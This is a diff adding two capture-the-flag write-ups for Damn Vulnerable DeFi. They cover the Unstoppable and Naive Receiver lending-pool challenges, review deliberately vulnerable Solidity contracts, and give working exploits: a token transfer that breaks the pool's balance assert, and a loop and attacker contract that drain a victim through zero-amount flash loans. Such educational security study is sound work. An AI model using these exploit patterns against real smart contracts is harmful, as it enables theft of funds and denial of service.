Add Damn Vulnerable Defi

Damn_Vulnerable_DeFI/DamnVulnerableDeFi_01_unstoppable.md

@@ -0,0 +1,144 @@
+## 1) Challenge
+
+> <cite>There's a lending pool with a million DVT tokens in balance, offering flash loans for free.</cite>
+> <cite>If only there was a way to attack and stop the pool from offering flash loans ...</cite>
+> <cite>You start with 100 DVT tokens in balance</cite> ([link](https://www.damnvulnerabledefi.xyz/challenges/1.html))
+
+Challenge created by [@tinchoabbate](https://twitter.com/tinchoabbate).
+
+
+## 2) Code Review
+
+The function responsible for offering flash loans is `flashLoan`, defined in the `UnstoppableLender` contract ([source code](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/contracts/unstoppable/UnstoppableLender.sol#L33-L48)):
+
+```solidity
+
+contract UnstoppableLender is ReentrancyGuard {
+
+    IERC20 public immutable damnValuableToken;
+    uint256 public poolBalance;
+
+    constructor(address tokenAddress) {
+        require(tokenAddress != address(0), "Token address cannot be zero");
+        damnValuableToken = IERC20(tokenAddress);
+    }
+
+    function depositTokens(uint256 amount) external nonReentrant {
+        require(amount > 0, "Must deposit at least one token");
+        // Transfer token from sender. Sender must have first approved them.
+        damnValuableToken.transferFrom(msg.sender, address(this), amount);
+        poolBalance = poolBalance + amount;
+    }
+
+    function flashLoan(uint256 borrowAmount) external nonReentrant {
+        require(borrowAmount > 0, "Must borrow at least one token");
+
+        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
+        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
+
+        // Ensured by the protocol via the `depositTokens` function
+        assert(poolBalance == balanceBefore);
+        
+        damnValuableToken.transfer(msg.sender, borrowAmount);
+        
+        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
+        
+        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
+        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
+    }
+}
+
+```
+
+Multiple conditions need to be satisfied before providing a flash loan:
+1. the amount we want to borrow is more than `0` (line `34`)
+2. the balance available in the pool is greater than the amount we want to borrow (line `37`)
+3. the value of the `poolBalance` variable is equal to the balance of the pool when requesting the flash loan (line `40`)
+4. the balance after the loan is offered is greater or equal to the initial balance (line `47`) - it checks if we paid back the loan
+
+The amount we want to borrow is transferred to the `msg.sender` (who calls `flashLoan`), and the exact amount is passed to `receiveTokens` of a`ReceiverUnstoppable` contract (it simulates a potential usage of the flash loan before paying it back). Finally, the tokens are sent back to the contract ([source code](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/contracts/unstoppable/ReceiverUnstoppable.sol#L23-L27)).
+
+#### How can we stop the pool from offering flash loans?
+
+
+>If we can make one of the conditions inside the `flashLoan` function permanently false, it will no longer complete its execution, causing a Denial-of-Service.
+
+
+Among all the above conditions, condition `3` and `4` are the only that don't depend on the amount we want to borrow. Since condition `4` checks if we paid back the flash loan, let's focus on condition `3`:
+```solidity
+assert(poolBalance == balanceBefore);
+```
+
+`depositTokens` updates both the above values: it calls `transferFrom` to transfer tokens to the pool and then updates the `poolBalance` variable with the new balance. Since tokens are transferred to the pool by calling `trasferFrom`, even the pool balance (`balanceBefore` variable in `flashLoan` function) is updated:
+
+```solidity
+    function depositTokens(uint256 amount) external nonReentrant {
+        require(amount > 0, "Must deposit at least one token");
+        // Transfer token from sender. Sender must have first approved them.
+        damnValuableToken.transferFrom(msg.sender, address(this), amount);
+        poolBalance = poolBalance + amount;
+    }
+```
+
+However, the caveat here is that the values `balanceBefore` and `poolBalance` are retrieved from different sources:
+- `balanceBefore` is the output of [`balanceOf`](https://docs.openzeppelin.com/contracts/2.x/api/token/erc20#ERC20-balanceOf-address-) 
+- `poolBalance` is a public variable updated when calling `depositTokens`
+
+#### Is there a  way to transfer tokens to the pool without calling `depositTokens`?
+
+The answer is **YES**.
+
+`damnValuableToken` is an [ERC-20](https://eips.ethereum.org/EIPS/eip-20) token, which means it implements two functions to transfer tokens:
+- `transferFrom(address sender, address recipient, uint256 amount)` (doc [here](https://docs.openzeppelin.com/contracts/2.x/api/token/erc20#IERC20-transferFrom-address-address-uint256-))
+- `transfer(address recipient, uint256 amount)` (doc [here](https://docs.openzeppelin.com/contracts/2.x/api/token/erc20#IERC20-transfer-address-uint256-))
+
+Since we have `100 DVT` tokens, we can transfer some of these tokens to the pool using the `transfer` function. This way, the pool balance (`balanceBefore`) will be different from the `poolBalance` value because we have deposited tokens without calling `depositTokens` (the `poolBalance` variable is not updated).
+
+The function `flashLoan` will stop working because the condition `3` will be false.
+
+
+## 3) Solution
+
+The solution consists in sending some `DVT` tokens to the pool using `transfer`:
+```javascript
+
+    it('Exploit', async function () {
+        /** CODE YOUR EXPLOIT HERE */
+
+        async function logData(){
+            console.log(`Attacker token balance:    ${ethers.utils.formatEther(await this.token.balanceOf(attacker.address))}`);
+            console.log(`Pool token balance:        ${ethers.utils.formatEther(await this.token.balanceOf(this.pool.address))}`);
+            console.log(`poolBalance:               ${ethers.utils.formatEther(await this.pool.poolBalance())}\n`);
+        }
+
+        await logData.call(this)
+
+        await this.token.connect(attacker).transfer(this.pool.address, ethers.utils.parseEther('0.01'));
+
+        await logData.call(this)
+
+    });
+
+```
+
+Output:
+```
+
+Attacker token balance:    100.0
+Pool token balance:        1000000.0
+poolBalance:               1000000.0
+
+Attacker token balance:    99.99
+Pool token balance:        1000000.01
+poolBalance:               1000000.0
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/damn-vulnerable-defi-solutions/blob/471f1d2e6b5542a31b8a8db996dceedcd39ae37d/test/unstoppable/unstoppable.challenge.js#L44-L54).
+
+
+## 4) References
+
+- [EIP-20: Token Standard](https://eips.ethereum.org/EIPS/eip-20)
+- [ERC20.sol  implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol)
+- [SWC-132 - Unexpected Ether balance](https://swcregistry.io/docs/SWC-132)

Damn_Vulnerable_DeFI/DamnVulnerableDeFi_02_naive-receiver.md

@@ -0,0 +1,251 @@
+## 1) Challenge
+
+> <cite>There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance. </cite>
+> <cite>You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.</cite>
+> <cite>Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;) </cite>([link](https://www.damnvulnerabledefi.xyz/challenges/2.html))
+
+Challenge created by [@tinchoabbate](https://twitter.com/tinchoabbate).
+
+
+## 2) Code Review
+
+Like in the previous [challenge](DamnVulnerableDeFi_01_unstoppable.md), let's start by reviewing how flash loans are provided. 
+
+The function responsible for offering flash loans is `flashLoan`, defined in the `NaiveReceiverLenderPool` contract ([source code](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/contracts/naive-receiver/NaiveReceiverLenderPool.sol#L21-L41)):
+
+```solidity
+
+contract NaiveReceiverLenderPool is ReentrancyGuard {
+
+    using Address for address;
+
+    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
+
+    function fixedFee() external pure returns (uint256) {
+        return FIXED_FEE;
+    }
+
+    function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
+
+        uint256 balanceBefore = address(this).balance;
+        require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
+
+
+        require(borrower.isContract(), "Borrower must be a deployed contract");
+        // Transfer ETH and handle control to receiver
+        borrower.functionCallWithValue(
+            abi.encodeWithSignature(
+                "receiveEther(uint256)",
+                FIXED_FEE
+            ),
+            borrowAmount
+        );
+        
+        require(
+            address(this).balance >= balanceBefore + FIXED_FEE,
+            "Flash loan hasn't been paid back"
+        );
+    }
+
+    // Allow deposits of ETH
+    receive () external payable {}
+}
+
+```
+
+The `flashLoan` function:
+- prevents reentrancy by using the `nonReentrant` modifier from [ReentrancyGuard](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard)
+- checks if the ETH balance of the contract is greater or equal to the amount we want to borrow (line `24`)
+- checks if the borrower is a contract (line `27`)
+- calls the `receiveFlashLoan` function of the borrower contract (line `29`)
+- checks if we paid back the loan (line `38`)
+
+The pool starts with `1000 ETH` (challenge [setup](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/naive-receiver/naive-receiver.challenge.js#L21)), while the `FlashLoanReceiver` contract (borrower) starts with `10 ETH` balance (challenge [setup](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/naive-receiver/naive-receiver.challenge.js#L27)).
+
+Important things to notice:
+- **anyone can call this function**
+- **there are no checks on the borrow amount** (so it can also be `0`)
+
+To transfer ETH, the pool contract uses `functionCallWithValue` (line `29`) from `Address.sol` library (doc [here](https://docs.openzeppelin.com/contracts/3.x/api/utils#Address-functionCallWithValue-address-bytes-uint256-)). It sends the `borrowAmount` to the borrower and calls the payable `receiveEther(uint256)` function, exposed by the borrower, with `1 ETH` amount value (the fixed expensive fee).
+
+The `receivedEther` function from `FlashLoanReceiver`([source code](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/contracts/naive-receiver/FlashLoanReceiver.sol#L21-L32)):
+
+- checks if the sender is the pool (line `22`), so it means the pool contract can only call it
+- computes the amount to be paid back that is the amount borrowed plus the (expensive) fee, that in this case is `1 ETH`
+- checks if the balance of the contract is greater or equal to the amount to be paid back
+- calls `_executeActionDuringFlashLoan` (that does nothing)
+- finally, it returns the amount borrowed plus the fees to the pool (line `31`)
+
+```solidity
+
+contract FlashLoanReceiver {
+    using Address for address payable;
+
+    address payable private pool;
+
+    constructor(address payable poolAddress) {
+        pool = poolAddress;
+    }
+
+    // Function called by the pool during flash loan
+    function receiveEther(uint256 fee) public payable {
+        require(msg.sender == pool, "Sender must be pool");
+
+        uint256 amountToBeRepaid = msg.value + fee;
+
+        require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
+        
+        _executeActionDuringFlashLoan();
+        
+        // Return funds to pool
+        pool.sendValue(amountToBeRepaid);
+    }
+
+    // Internal function where the funds received are used
+    function _executeActionDuringFlashLoan() internal { }
+
+    // Allow deposits of ETH
+    receive () external payable {}
+}
+
+```
+
+
+After calling `receiveEther`, the `borrower` has to pay back the flash loan plus an expensive fee of `1 ETH`.
+
+#### Who can call the `flashLoan` function ?
+
+As we have seen before, `flashLoan` can be called by anyone by providing a borrower contract address that implements the `receiveEther` function.
+
+#### Who can call the `receiveEther` function of a target contract?
+
+Only the pool can call `receiveEther` since there is a check at line `22`.
+
+However, by providing a borrower address, anyone can call the `flashLoan` function. It means that we (as an attacker) can indirectly call `receiveEther` of a borrower contract because `receiveEther` only checks the `msg.sender` but does not check who called `flashLoan`.
+
+#### What happens when `flashLoan` function is called ?
+
+Every time the `flashLoan` function is called, the borrower has to pay `1 ETH` fee.
+
+Let's see an example with the following values (I'm using the challenge code provided):
+- `borrower` is set to the `receiver.address`
+- `borrowAmount` is set to `0` (it can be any value `<= 1000 ETH`)
+
+```javascript
+    it('Exploit', async function () {
+        await this.pool.connect(attacker).flashLoan(this.receiver.address, ethers.utils.parseEther('0')); 
+    }
+```
+
+
+When calling `functionCallWithValue`, the `borrowAmount`, that in our example is `0`, is sent to the borrower. Since `receiveEther` is a payable function, the borrower's balance is updated with the amount received (that in our example is `0` - so it does not change).
+
+Inside `receivedEther`, the value of `amountToBeRepaid` (line `24`) will be equal to `0 ETH + 1 ETH = 1 ETH` and thus the condition `require(address(this).balance >= amountToBeRepaid)` will be `true` since the receiver balance is `10 ETH` and the amount to be repaid is `1 ETH`.
+Finally, `1 ETH` is sent back to the pool, decreasing the borrower balance by `1 ETH`.
+So, after calling `receiveEther`, the receiver's balance is decreased by `1 ETH` (the fee applied by the pool).
+
+If we call `flashLoan` another time with the same input, the borrower's balance will be `9 ETH`, so the condition `require(address(this).balance >= amountToBeRepaid)` will still be `true` (`9 >= 1`) and it will be decreased by `1 ETH`.
+
+So, executing the function `10` times will drain the borrower's balance.
+
+
+## 3) Solution
+
+There are multiple ways to solve this challenge.
+
+### 3.1) Solution 1: multiple transactions
+
+We can call `flashLoan` `10` times in a loop and drain all the borrower's balance.:
+
+```javascript
+    it('Exploit', async function () {
+        /** CODE YOUR EXPLOIT HERE */
+
+        let balance = ethers.utils.formatEther(await ethers.provider.getBalance(this.receiver.address));
+        while (balance > 0){
+            console.log(`Borrower balance: ${balance}`);
+            await this.pool.connect(attacker).flashLoan(this.receiver.address, ethers.utils.parseEther('0'));
+            balance = ethers.utils.formatEther(await ethers.provider.getBalance(this.receiver.address));
+        }
+
+        console.log(`Borrower balance: ${balance}`);
+    });
+```
+
+Output:
+```
+
+Borrower balance: 10.0
+Borrower balance: 9.0
+Borrower balance: 8.0
+Borrower balance: 7.0
+Borrower balance: 6.0
+Borrower balance: 5.0
+Borrower balance: 4.0
+Borrower balance: 3.0
+Borrower balance: 2.0
+Borrower balance: 1.0
+Borrower balance: 0.0
+
+```
+
+
+However, with the code above, every time we call `flashLoan`, this will be executed in a single transaction, so we need to perform `10` transactions to solve the challenge.
+
+### 3.2) Solution 2: single transaction
+
+To optimize the number of transactions, we can implement the same logic in a contract and then call the function only once.
+
+`AttackNaiveReceiver.sol`:
+```solidity
+
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+
+interface INaiveReceiverLenderPool {
+    function flashLoan(address borrower, uint256 borrowAmount) external;
+}
+
+/**
+ * @title AttackNaiveReceiver
+ */
+contract AttackNaiveReceiver {
+
+    INaiveReceiverLenderPool lenderPool;
+
+    constructor(address _pool) {
+        lenderPool = INaiveReceiverLenderPool(_pool);
+    }
+
+    function run(address _borrower) public {
+
+        while(address(_borrower).balance > 0){
+            lenderPool.flashLoan(_borrower, 0);
+        }
+
+    }
+
+}
+
+```
+
+`naive-receiver.challenge.js`:
+```javascript
+
+    it('Exploit', async function () {
+        /** CODE YOUR EXPLOIT HERE */
+
+        const attack = await (await ethers.getContractFactory('AttackNaiveReceiver', attacker)).deploy(this.pool.address);
+        await attack.run(this.receiver.address);
+
+    });
+
+```
+
+You can find the complete code [here](https://github.com/dellalibera/damn-vulnerable-defi-solutions/blob/master/test/naive-receiver/naive-receiver.challenge.js) and [here](https://github.com/dellalibera/damn-vulnerable-defi-solutions/blob/master/contracts/attacker-contracts/AttackNaiveReceiver.sol).
+
+
+## 4) References
+
+- [ReentrancyGuard](https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard)